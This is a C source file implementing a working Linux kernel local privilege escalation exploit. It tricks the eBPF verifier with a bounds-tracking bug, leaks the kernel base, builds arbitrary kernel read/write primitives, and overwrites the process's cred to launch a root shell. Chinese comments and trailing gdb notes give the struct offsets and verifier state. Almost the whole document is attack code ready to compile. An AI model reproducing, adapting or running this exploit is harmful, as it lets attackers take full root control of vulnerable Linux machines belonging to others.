// https://www.anquanke.com/post/id/242567
// 所有的 update_elem(0, 2); 都改成 update_elem(0, 0x180000000);
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <pthread.h>
#include <sys/wait.h>
// #include <linux/bpf.h>
#include <sys/mman.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <stddef.h>
#include "./bpf.h"

#ifndef __NR_BPF
#define __NR_BPF 321
#endif
#define ptr_to_u64(ptr) ((__u64)(unsigned long)(ptr))

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
	((struct bpf_insn){                        \
		.code = CODE,                          \
		.dst_reg = DST,                        \
		.src_reg = SRC,                        \
		.off = OFF,                            \
		.imm = IMM})

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)    \
	((struct bpf_insn){                    \
		.code = BPF_LD | BPF_DW | BPF_IMM, \
		.dst_reg = DST,                    \
		.src_reg = SRC,                    \
		.off = 0,                          \
		.imm = (__u32)(IMM)}),             \
		((struct bpf_insn){                \
			.code = 0,                     \
			.dst_reg = 0,                  \
			.src_reg = 0,                  \
			.off = 0,                      \
			.imm = ((__u64)(IMM)) >> 32})

#define BPF_MOV64_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_K, DST, 0, 0, IMM)

#define BPF_MOV_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_X, DST, SRC, 0, 0)

#define BPF_MOV32_REG(DST, SRC)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU | BPF_MOV | BPF_X,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_MOV64_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_X, DST, SRC, 0, 0)

#define BPF_MOV_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_K, DST, 0, 0, IMM)

#define BPF_RSH_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_RSH | BPF_X, DST, SRC, 0, 0)

#define BPF_LSH_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_LSH | BPF_K, DST, 0, 0, IMM)

#define BPF_ALU32_IMM(OP, DST, IMM)				\
	((struct bpf_insn) {					\
		.code  = BPF_ALU | BPF_OP(OP) | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

#define BPF_ALU64_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM)

#define BPF_ALU64_REG(OP, DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_X, DST, SRC, 0, 0)

#define BPF_ALU_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM)

#define BPF_JMP_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM)

#define BPF_JMP_REG(OP, DST, SRC, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0)

#define BPF_JMP32_REG(OP, DST, SRC, OFF) BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0)

#define BPF_JMP32_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM)

#define BPF_EXIT_INSN() BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0)

#define BPF_LD_MAP_FD(DST, MAP_FD) BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

#define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_ST_MEM(SIZE, DST, OFF, IMM) BPF_RAW_INSN(BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, DST, 0, OFF, IMM)

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) BPF_RAW_INSN(BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0)

#define BPF_STX_MEM(SIZE, DST, SRC, OFF) BPF_RAW_INSN(BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0)

int doredact = 0;
#define LOG_BUF_SIZE 65536
char bpf_log_buf[LOG_BUF_SIZE];
char buffer[64];
int sockets[2];
int mapfd;

void fail(const char *fmt, ...)
{
	va_list args;
	va_start(args, fmt);
	fprintf(stdout, "[!] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
	exit(1);
}

void redact(const char *fmt, ...)
{
	va_list args;
	va_start(args, fmt);
	if (doredact)
	{
		fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
		return;
	}
	fprintf(stdout, "[*] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
}

void msg(const char *fmt, ...)
{
	va_list args;
	va_start(args, fmt);
	fprintf(stdout, "[*] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
}

int bpf_create_map(enum bpf_map_type map_type,
				   unsigned int key_size,
				   unsigned int value_size,
				   unsigned int max_entries)
{
	union bpf_attr attr = {
		.map_type = map_type,
		.key_size = key_size,
		.value_size = value_size,
		.max_entries = max_entries};

	return syscall(__NR_BPF, BPF_MAP_CREATE, &attr, sizeof(attr));
}

int bpf_obj_get_info_by_fd(int fd, const unsigned int info_len, void *info)
{
	union bpf_attr attr;
	memset(&attr, 0, sizeof(attr));
	attr.info.bpf_fd = fd;
	attr.info.info_len = info_len;
	attr.info.info = ptr_to_u64(info);
	return syscall(__NR_BPF, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
}

int bpf_lookup_elem(int fd, const void *key, void *value)
{
	union bpf_attr attr = {
		.map_fd = fd,
		.key = ptr_to_u64(key),
		.value = ptr_to_u64(value),
	};

	return syscall(__NR_BPF, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

int bpf_update_elem(int fd, const void *key, const void *value,
					uint64_t flags)
{
	union bpf_attr attr = {
		.map_fd = fd,
		.key = ptr_to_u64(key),
		.value = ptr_to_u64(value),
		.flags = flags,
	};

	return syscall(__NR_BPF, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

int bpf_prog_load(enum bpf_prog_type type,
				  const struct bpf_insn *insns, int insn_cnt,
				  const char *license)
{
	union bpf_attr attr = {
		.prog_type = type,
		.insns = ptr_to_u64(insns),
		.insn_cnt = insn_cnt,
		.license = ptr_to_u64(license),
		.log_buf = ptr_to_u64(bpf_log_buf),
		.log_size = LOG_BUF_SIZE,
		.log_level = 1,
	};

	return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr));
}


#define BPF_LD_ABS(SIZE, IMM)                      \
	((struct bpf_insn){                            \
		.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
		.dst_reg = 0,                              \
		.src_reg = 0,                              \
		.off = 0,                                  \
		.imm = IMM})

#define BPF_MAP_GET(idx, dst)                                                \
	BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),                                     \
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),                                \
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),                               \
		BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx),                              \
		BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
		BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),                               \
		BPF_EXIT_INSN(),                                                     \
		BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0),                              \
		BPF_MOV64_IMM(BPF_REG_0, 0)

#define BPF_MAP_GET_ADDR(idx, dst)											 \
	BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),                                     \
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),                                \
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),                               \
		BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx),                              \
		BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
		BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),                               \
		BPF_EXIT_INSN(),                                                     \
		BPF_MOV64_REG((dst), BPF_REG_0),                              \
		BPF_MOV64_IMM(BPF_REG_0, 0)

int load_prog()
{
	struct bpf_insn prog[] = {
        BPF_LD_MAP_FD(BPF_REG_9, mapfd),
// (1) trigger vulnerability
    BPF_MAP_GET(0,BPF_REG_5),     						// 9: (79) r5 = *(u64 *)(r0 +0) 					传进r5=0x180000000

    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), 				// 11: (bf) r8 = r0
    BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), 				// 12: (bf) r7 = r0
    BPF_MOV64_REG(BPF_REG_6, BPF_REG_5),				// 13: (bf) r6 = r5

    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 1, 1),				// 14: (75) if r6 s>= 0x1 goto pc+1  	对1进行有符号比较
    BPF_EXIT_INSN(),									// 15: (95) exit

    BPF_LD_IMM64(BPF_REG_2, 0x8fffffff),				// 16: (18) r2 = 0x8fffffff 			此时认为r6的范围为：[1,0x7fffffffffffffff]
    BPF_JMP_REG(BPF_JGT, BPF_REG_6, BPF_REG_2, 1),		// 18: (2d) if r6 > r2 goto pc+1 		此时对r2进行无符号比较
    BPF_EXIT_INSN(),									// 19: (95) exit						得到r2的64位范围为[0x90000000,0x7fffffffffffffff]，32位范围为：[0x90000000, 0xffffffff]，这里检查就出现了错误：64位操作数的比较，32位的范围应该是不清楚的，但却得到范围[0x90000000, 0xffffffff]，只要传进来的数32位部分不在此范围，就可以触发漏洞

    BPF_MOV32_REG(BPF_REG_6, BPF_REG_6),				// 20: (bc) w6 = w6 					对64位进行截断，只看32位部分，范围依旧是[0x90000000, 0xffffffff]
    BPF_ALU32_IMM(BPF_ADD, BPF_REG_6, 0x70000000),		// 21: (04) w6 += 1879048192 			w6+=0x70000000,得到范围为[0,0x6fffffff]
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 31),				// 22: (77) r6 >>= 31 					右移31位，取32位范围的符号位，因为认为范围是[0,0x6fffffff]，所以结果恒为0

    	// BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),     //r6 =r0 */
        // BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1),  //r6 >>1    verify:0   fact:1 
// (2) read kaslr  	(op=0)	泄露内核基址，读取bpf_array->map->ops指针，位于	&value[0]-0x110 (先获取&value[0]，减去0x110即可)，读出来的地址存放在value[4]
        BPF_MAP_GET(1, BPF_REG_7),						// 30: (79) r7 = *(u64 *)(r0 +0)
        BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 0, 23),			// 32: (55) if r7 != 0x0 goto pc+23
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110),		// 33: (27) r6 *= 272
		BPF_MAP_GET_ADDR(0, BPF_REG_7),					// 41: (bf) r7 =map_value(id=0,off=0,ks=4,vs=8,imm=0) R7=invP0 R8=invP0 R9=ma?
		BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),	// 43: (1f) r7 -= r6
		BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),	// 44: (79) r8 = *(u64 *)(r7 +0)
		BPF_MAP_GET_ADDR(4, BPF_REG_6),					
		BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0),	// 54: (7b) *(u64 *)(r6 +0) = r8
		BPF_EXIT_INSN(),
// (3) write btf 	(op=1)  任意地址读，一次只能读4字节，篡改 bpf_array->map->btf (偏移0x40)，利用 bpf_map_get_info_by_fd 泄露 map->btf+0x58 地址处的4字节
		BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 1, 22),	// op=1 -> write btf
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xd0),    // &value[0]-0x110+0x40 = &value[0]-0xd0
		BPF_MAP_GET_ADDR(0, BPF_REG_7),
		BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
		BPF_MAP_GET(2, BPF_REG_8),					// value[2] 传入 target_addr-0x58 
		BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
		BPF_EXIT_INSN(),
// (4) read attr	(op=2) 	读取value[0]的地址，也即 bpf_array->waitlist (偏移0xc0)指向自身，所以 &value[0]= &bpf_array->waitlist + 0x50，只需读取 &value[0]-0x110+0xc0 的值，加上0x50即可，读出来的地址存放在value[4]
		BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 2, 23),	// op=2 -> read attr
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x50),					// 偏移 -0x110+0xc0=-0x50 也即&value[0]的地址
		BPF_MAP_GET_ADDR(0, BPF_REG_7),
		BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
		BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),
		BPF_MAP_GET_ADDR(4, BPF_REG_6),
		BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0),
		BPF_EXIT_INSN(),
// (5) write ops and change type	(op=3) 任意地址写，篡改 bpf_array->map->ops 函数表指针
		BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 3, 60),	// op=3 -> write ops and change type
		BPF_MOV64_REG(BPF_REG_8, BPF_REG_6),					// r8 = r6
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110),				// r6 = r6*0x110
		BPF_MAP_GET_ADDR(0, BPF_REG_7),							// r7 = &value[0]
		BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),			// r7 = r7-r6
		BPF_MAP_GET(2, BPF_REG_6),								// r6 = value[2]      	传入&value[0]+0x80
		BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0),			// *(r7+0) = r6    	  	篡改 bpf_array->map->ops = &value[0]+0x80
		BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),					// r6 = r8			  	恢复r6
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xf8),				// r8 = r8*0xf8
		BPF_MAP_GET_ADDR(0, BPF_REG_7),							// r7 = &value[0]
		BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),			// r7 = r7 - r8
		BPF_ST_MEM(BPF_W, BPF_REG_7, 0, 0x17), 					// *(r7+0) = 0x17  		bpf_array->map->map_type (0x18) 	-0x110+0x18 = -0xf8 		改为 BPF_MAP_TYPE_STACK (0x17)
		BPF_MOV64_REG(BPF_REG_8, BPF_REG_6),					// r8 = r6
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xec),				// r6 = r6*0xec
		BPF_MAP_GET_ADDR(0, BPF_REG_7),							// r7 = &value[0]
		BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),			// r7 = r7 - r6
		BPF_ST_MEM(BPF_W, BPF_REG_7, 0, -1),					// *(r7+0) = -1			bpf_array->map->max_entries (0x24)   -0x110+0x24 = -0xec
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xe4),				// r8 = r8*0xe4
		BPF_MAP_GET_ADDR(0, BPF_REG_7),							// r7 = &value[0]
		BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),			// r7 = r7 - r8
		BPF_ST_MEM(BPF_W, BPF_REG_7, 0, 0),						// *(r7+0) = 0		 	bpf_array->map->spin_lock_off (0x2c)   -0x110+0x2c = -0xe4
		BPF_EXIT_INSN(),	
	};
	return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL");
}
// write_msg() —— trigger to execute eBPF code
int write_msg()
{
	ssize_t n = write(sockets[0], buffer, sizeof(buffer));
	if (n < 0)
	{
		perror("write");
		return 1;
	}
	if (n != sizeof(buffer))
	{
		fprintf(stderr, "short write: %d\n", n);
	}
	return 0;
}

void update_elem(int key, size_t val)
{
	if (bpf_update_elem(mapfd, &key, &val, 0)) {
		fail("bpf_update_elem failed '%s'\n", strerror(errno));
	}
}

size_t get_elem(int key)
{
	size_t val;
	if (bpf_lookup_elem(mapfd, &key, &val)) {
		fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
	}
	return val;
}
// abitary read 64 bytes: 利用 bpf_obj_get_info_by_fd 读取两个4字节并拼接到一起
size_t read64(size_t addr)
{
	uint32_t lo, hi;
	char buf[0x50] = {0};
	update_elem(0, 0x180000000);
	update_elem(1, 1);
	update_elem(2, addr-0x58);											// change 7 $ p/x &(*(struct btf*)0)->id          value[2] 传入 target_addr-0x58 
	write_msg(); // 触发执行eBPF代码
	if (bpf_obj_get_info_by_fd(mapfd, 0x50, buf)) {
		fail("bpf_obj_get_info_by_fd failed '%s'\n", strerror(errno));
	}
	lo = *(unsigned int*)&buf[0x40];									// change 8 $ p/x &(*(struct bpf_map_info*)0)->btf_id     泄露的4字节存入&byf[0x40]
	update_elem(2, addr-0x58+4);
	write_msg();
	if (bpf_obj_get_info_by_fd(mapfd, 0x50, buf)) {
		fail("bpf_obj_get_info_by_fd failed '%s'\n", strerror(errno));
	}
	hi = *(unsigned int*)&buf[0x40];
	return (((size_t)hi) << 32) | lo;
}	

void clear_btf()
{
	update_elem(0, 0x180000000);
	update_elem(1, 1);
	update_elem(2, 0);
	write_msg();
}

void write32(size_t addr, uint32_t data)
{
	uint64_t key = 0;
	data -= 1;
	if (bpf_update_elem(mapfd, &key, &data, addr)) {
		fail("bpf_update_elem failed '%s'\n", strerror(errno));
	}
}
void write64(size_t addr, size_t data)
{
	uint32_t lo = data & 0xffffffff;
	uint32_t hi = (data & 0xffffffff00000000) >> 32;
	uint64_t key = 0;
	write32(addr, lo);
	write32(addr+4, hi);
}

int main()
{
// Step 1: create eBPF code, verify and trigger the vulnerability
	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 0x100);
	if (mapfd < 0)
	{
		fail("failed to create map '%s'\n", strerror(errno));
	}
	redact("sneaking evil bpf past the verifier\n");
	int progfd = load_prog();  // verify
	printf("%s\n", bpf_log_buf);
	if (progfd < 0)
	{
		if (errno == EACCES)
		{
			msg("log:\n%s", bpf_log_buf);
		}
		printf("%s\n", bpf_log_buf);
		fail("failed to load prog '%s'\n", strerror(errno));
	}

	redact("creating socketpair()\n");
	if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
	{
		fail("failed to create socket pair '%s'\n", strerror(errno));
	}

	redact("attaching bpf backdoor to socket\n");
	if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
	{
		fail("setsockopt '%s'\n", strerror(errno));
	}
// Step 2: leak kernel_base  (op=0)
	update_elem(0, 0x180000000); 		// value[0]=0x180000000; value[1]=0;
	update_elem(1, 0);
	size_t value = 0;
	write_msg();
	size_t ops_addr = get_elem(4); 		// 读取value[4]处的值
	printf("leak addr: 0x%llx\n", ops_addr); // 

#define LEAKED   0x10358a0 // (0x10169c0+0x180+0x640)     change 1  $ cat /tmp/kallsyms | grep startup_64   0xffffffffb7a6f200-0xffffffffb6a00000
	size_t linux_base = ops_addr - LEAKED;
	printf("linux base: 0x%llx\n", linux_base);
// Step 3: forge bpf_array->map->ops->map_push_elem = map_get_next_key, at &value[0]+0x80+0x70
	char ops[0xe8] = {0};
	for(int i=0;i<0xe8;i+=8)
	{
		*(size_t*)&ops[i] = read64(ops_addr + i);			// 在 &value[0]+0x80处伪造 bpf_array->map->ops 函数表
		update_elem(0x10+i/8, *(size_t*)&ops[i]);
	}
	size_t data = read64(ops_addr);
	update_elem(0x10+0x70/8, *(size_t*)&ops[0x20]);
// Step 4: leak value addr (bpf_array->value: save bpf brogram) (op=2)
	update_elem(0, 0x180000000);	// 2
	update_elem(1, 2);
	write_msg();
	size_t heap_addr = get_elem(4);
	size_t values_addr = heap_addr + 0x50;
	printf("value addr: 0x%llx\n", values_addr);
// Step 5: leak task_struct addr 	(op=1)
#define INIT_PID_NS  0x1663ca0 // 0x1647c00    change 2   $ cat /proc/kallsyms | grep init_pid_ns
	size_t init_pid_ns = linux_base+ INIT_PID_NS;
	printf("init_pid_ns addr: 0x%llx\n", init_pid_ns);  // 
	pid_t pid = getpid();
	printf("self pid is %d\n", pid);
	size_t task_addr = read64(init_pid_ns+0x30);  // 0x38 change 3   $ p *(struct task_struct*) xxxxxxxx   确认 init_pid_ns 的偏移0x38处存放 task_struct 地址（real_cred 和 cred 地址相同），Linux-5.11版本就是0x30
	printf("task_struct addr: 0x%llx\n", task_addr);  // 
// Step 6: leak cred addr (op=1)		遍历 task_struct->tasks->next 链表，读取指定线程的cred地址
	size_t cred_addr = 0;
	while(1)
	{
		pid_t p = read64(task_addr+0x908);    //  0x490   change 4   $ p/x &(*(struct task_struct *)0)->pid
		printf("iter pid %d ...\n", p);
		if(p == pid)
		{
			puts("got it!");
			cred_addr = read64(task_addr+0xac8);  // 0x638  change 5 $ p/x &(*(struct task_struct *)0)->cred
			break;
		}
		else
		{
			task_addr = read64(task_addr+0x808) - 0x808;  // 0x390 6  change 6 $ p/x &(*(struct task_struct *)0)->tasks    tasks-0x7d0    -0x780   children-0x8f0
			printf("[+] iter task %p ...\n", task_addr);
		}
	}
// Step 7: change cred  (op=3)
	printf("get cred_addr 0x%llx\n", cred_addr);
	size_t usage = read64(cred_addr);
	printf("usage: %d\n", usage);
	clear_btf();
	update_elem(0, 0x180000000);  	// 2
	update_elem(1, 3);
	update_elem(2, values_addr+0x80);
	write_msg();					// (1) 先篡改 bpf_array->map->ops = &value[0]+0x80; bpf_array->map->map_type=0x17; bpf_array->map->max_entries=-1; bpf_array->map->spin_lock_off=0;
	write32(cred_addr+4, 0);		// (2) 任意地址写，篡改cred
	write64(cred_addr+8, 0);
	write64(cred_addr+16, 0);
	if(getuid() == 0)
	{
		puts("getting shell!");
		system("/bin/sh");
	}
	
}

/*
(1) wait_list  value
gdb-peda$ p/x &(*(struct bpf_array *)0)->value
$1 = 0x110
gdb-peda$ p/x &(*(struct bpf_array *)0)->map->freeze_mutex->wait_list
$4 = 0xc0

(2) init_pid_ns
/ $ cat /tmp/kallsyms | grep init_pid_ns
ffffffff824d65b8 r __ksymtab_init_pid_ns
ffffffff824e1a91 r __kstrtab_init_pid_ns
ffffffff824e6d0c r __kstrtabns_init_pid_ns
ffffffff82663ca0 D init_pid_ns                 		// init_pid_ns offset: 0x1663ca0

gdb-peda$ p/x &(*(struct task_struct *)0)->pid
$7 = 0x908
gdb-peda$ p/x &(*(struct task_struct *)0)->cred
$8 = 0xac8
gdb-peda$ p/x &(*(struct task_struct *)0)->tasks
$9 = 0x808

gdb-peda$ x /20xg 0xffffffff82663ca0		// 确认 init_pid_ns 的偏移0x38处存放 task_cred 地址
0xffffffff82663ca0 <init_pid_ns>:	0x0080000400000000	0xffff8880038266da
0xffffffff82663cb0 <init_pid_ns+16>:	0x0000008500000000	0x0000000000000000
0xffffffff82663cc0 <init_pid_ns+32>:	0x0000000000000000	0x0000000080000032
0xffffffff82663cd0 <init_pid_ns+48>:	0xffff888003605b00	0xffff8880035c5c00
0xffffffff82663ce0 <init_pid_ns+64>:	0x0000000000000000	0x0000000000000000
0xffffffff82663cf0 <init_pid_ns+80>:	0x0000000000000000	0xffffffff8265c3e0
0xffffffff82663d00 <init_pid_ns+96>:	0x0000000000000000	0x0000000000000000
0xffffffff82663d10 <init_pid_ns+112>:	0x0000000000000000	0xffffffff820279e0
0xffffffff82663d20 <init_pid_ns+128>:	0x00000002effffffc	0x0000012d00400000
0xffffffff82663d30 <pid_max>:	0x0000000000008000	0x0000000000000000

$ p *(struct task_struct*) 0xffff888003605b00 //


(3) BPF_JMP_REG(BPF_JGT, BPF_REG_0, BPF_REG_2, 1), 指令之后的执行情况
$ b kernel/bpf/verifier.c:7612				# case BPF_JGT:
$ b kernel/bpf/verifier.c:7627				# true_reg->umin_value = max(true_reg->umin_value, true_umin);
$ p/x *(struct bpf_reg_state*) 0xffff888005d19000
gdb-peda$ p/x *(struct bpf_reg_state*) 0xffff888005d19000		# 执行之前
$1 = {
  type = 0x1, 
  off = 0x0, 
  {
    range = 0x0, 
    map_ptr = 0x0, 
    {
      btf = 0x0, 
      btf_id = 0x0
    }, 
    mem_size = 0x0, 
    raw = {
      raw1 = 0x0, 
      raw2 = 0x0
    }
  }, 
  id = 0x3, 
  ref_obj_id = 0x0, 
  var_off = {
    value = 0x0, 
    mask = 0x7fffffffffffffff
  }, 
  smin_value = 0x1, 
  smax_value = 0x7fffffffffffffff, 
  umin_value = 0x1, 
  umax_value = 0x7fffffffffffffff, 
  s32_min_value = 0x80000000, 
  s32_max_value = 0x7fffffff, 
  u32_min_value = 0x0, 
  u32_max_value = 0xffffffff, 
  parent = 0xffff888005d1a800, 
  frameno = 0x0, 
  subreg_def = 0x0, 
  live = 0x0, 
  precise = 0x1
}

$ b kernel/bpf/verifier.c:7702				# __reg_combine_64_into_32(true_reg);
gdb-peda$ p/x *(struct bpf_reg_state*) 0xffff888005d19000	# 执行之后
gdb-peda$ p *(struct bpf_reg_state *) 0xffff888005d1aad0
$3 = {
  type = SCALAR_VALUE, 
  off = 0x0, 
  {
    range = 0x0, 
    map_ptr = 0x0 <fixed_percpu_data>, 
    {
      btf = 0x0 <fixed_percpu_data>, 
      btf_id = 0x0
    }, 
    mem_size = 0x0, 
    raw = {
      raw1 = 0x0, 
      raw2 = 0x0
    }
  }, 
  id = 0x3, 
  ref_obj_id = 0x0, 
  var_off = {
    value = 0x80000000, 
    mask = 0x7fffffff7fffffff
  }, 
  smin_value = 0x90000000, 
  smax_value = 0x7fffffffffffffff, 
  umin_value = 0x90000000, 
  umax_value = 0x7fffffffffffffff, 
  s32_min_value = 0x90000000, 
  s32_max_value = 0xffffffff, 
  u32_min_value = 0x90000000, 
  u32_max_value = 0xffffffff, 
  parent = 0xffff888005d182d0, 
  frameno = 0x0, 
  subreg_def = 0x0, 
  live = REG_LIVE_NONE, 
  precise = 0x1
}



do_check (env=0xffff888005dba000) at kernel/bpf/verifier.c:10141                		check_cond_jmp_op()
10141	in kernel/bpf/verifier.c          


gdb-peda$ p env->insn_idx 			# 查看当前指令条数
gdb-peda$ p *(struct bpf_insn*)$rax # 查看当前指令
gdb-peda$ x /10i $rip 				# 正在执行的指令
gdb-peda$ p/x *(struct bpf_reg_state*)0xffff888005d1a800 			# 查看寄存器状态
$ b kernel/bpf/verifier.c:9927 		# do_check()通用断点	
$ b kernel/bpf/verifier.c:9939
gdb-peda$ p *(struct bpf_insn*)$rax
$10 = {
  code = 0xbc, 
  dst_reg = 0x0, 
  src_reg = 0x0, 
  off = 0x0, 
  imm = 0x0
}
0xffffffff811f6054 <do_check_common+404>:	mov    BYTE PTR [rbp-0xc9],al   			// 这里查看操作类型


gdb-peda$ p dst_reg
$11 = (struct bpf_reg_state *) 0xffff888005d19800
gdb-peda$ p *(struct bpf_reg_state *) 0xffff888005d1aad0


gdb-peda$ p *(struct bpf_reg_state *)0xffff888005d19878



*/